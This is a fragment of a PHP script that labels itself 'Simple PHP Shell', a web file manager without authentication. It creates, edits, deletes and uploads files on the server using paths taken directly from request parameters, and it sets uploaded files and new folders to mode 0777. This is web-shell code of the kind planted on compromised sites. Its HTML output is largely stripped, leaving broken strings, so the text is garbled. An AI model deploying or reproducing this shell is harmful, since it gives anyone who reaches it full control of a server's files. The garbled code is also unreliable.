$p"; } function human_size($b){ $s=['B','KB','MB','GB']; foreach($s as $i=>$u) if($b<1024) return round($b,2).$u; $b/=1024; return human_size($b); } // Current path $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $dir = realpath($dir) ?: getcwd(); chdir($dir); // === Actions === if(isset($_POST['newfile'])){ file_put_contents($_POST['newfile'],""); } if(isset($_POST['newfolder'])){ mkdir($_POST['newfolder'],0777,true); } if(isset($_GET['del'])){ is_file($_GET['del'])?unlink($_GET['del']):@rmdir($_GET['del']); } if(isset($_POST['save'])){ file_put_contents($_POST['file'],$_POST['content']); } if(isset($_FILES['upfile']) && $_FILES['upfile']['error']==0){ move_uploaded_file($_FILES['upfile']['tmp_name'], $_FILES['upfile']['name']); @chmod($_FILES['upfile']['name'],0777); } // === Header === echo '
';
echo "Simple PHP Shell | .. Current: ".htmlspecialchars($dir)."
"; // === Upload + Create === echo '
'; echo '
New file:
'; echo '
New folder:

'; // === List files & folders === echo ""; foreach(scandir('.') as $f){ if($f=='.' || $f=='..') continue; $path = "$dir/$f"; $isdir = is_dir($path); echo ""; } echo "
NameSizePermsActions
".($isdir?"":"")."$f".($isdir?" /":"")." ".($isdir?"<DIR>":human_size(filesize($path)))." ".perms($path)." Edit | Del

"; // === Edit file === if(isset($_GET['edit'])){ $file = $_GET['edit']; $content = isset($_POST['content']) ? $_POST['content'] : file_get_contents($file); echo "
Editing: ".htmlspecialchars($file)."

"; } echo '
'; ?>